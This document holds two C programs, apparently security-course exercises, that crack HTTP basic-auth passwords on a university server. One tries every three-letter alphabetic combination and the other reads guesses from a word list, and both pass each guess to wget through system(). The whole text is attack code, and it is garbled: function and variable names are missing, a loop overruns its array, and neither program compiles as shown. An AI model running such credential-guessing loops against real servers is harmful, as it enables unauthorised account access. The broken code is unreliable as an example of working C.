#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>

int ()
{
  char url[80], url1[80];
  int i, j, k, syst = 1, nofattempts = 0;
  char c1, c2, c3, pass[4];
  int time_var,time1,time2, timeinsec;
  time1 = time();

  char itoa[52] = "aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ";

  strcpy(url, "wget --http-user= --http-passwd=");
  strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");

  for (i = 1; i <= 52; i++)
  {
    for (j = 1; j <= 52; j++)
    {
      for (k = 1; k <= 52; k++)
      {
          fflush(stdin);
          c1 = itoa[i];
          c2 = itoa[j];
          c3 = itoa[k];
          pass[0] = c1;
          pass[1] = c2;
          pass[2] = c3;
    	  pass[3] = '\0';
          strcat(url, pass);
          strcat(url, url1);
	      ++nofattempts;
          syst = system(url);
          printf("%s\n",pass);
          if (syst == 0)
          {
            time2 = time();
            time_var = time2 - time1;
            timeinsec = time_var / 1000000000;
            printf("  Number of Attempts  is %d", nofattempts);
            printf("\n Found it! The Password is: %s\n", pass);
            printf("\n The time_var taken  crack the password by brute force is %lld seconds\n", timeinsec);
            exit(1);
          }
	      strcpy(url, "");
    	  strcpy(url, "wget --http-user= --http-passwd=");
      }
    }
  }
  exit(0);
}











#include<stdio.h>
#include<stdlib.h>
#include<sys/types.h>
#include<sys/times.h>
#include<sys/time.h>
#include<unistd.h>
#include<strings.h>
int ()
{
  char url[100];
  char syscom[]= "wget -nv --http-user= --http-passwd=";
  char http[] = "http://sec-crack.cs.rmit.edu./SEC/2/ ";
  FILE *fp;

  char pass[15], *valid;
  valid = "pass";
  int , end, time_var;
  int hack =1;
  int attempt =1;

  fp = fopen("words.txt","r");
  if (fp == NULL)
  exit(1);

   = time();
  while (valid != NULL)
  {
   valid  = fgets(pass,15,fp);
   pass[strlen(pass)-1] ='\0';

   if(strlen(pass) != 3)
   continue;

   printf("%s\n",pass);
   sprintf(url,"%s%s %s",syscom,pass,http);

   hack = system(url);
   attempt++;

   if (hack == 0)
    {
     end = time();
     time_var = (end-);
     printf("\nThe password is :%s",pass);
     printf("\nNo. of Attempts   crack the password :%d",attempt);
     printf("\nTime taken  crack the password = %lld sec\n",time_var/1000000000);
     exit(1);
     }
   }
  exit(1);
 }

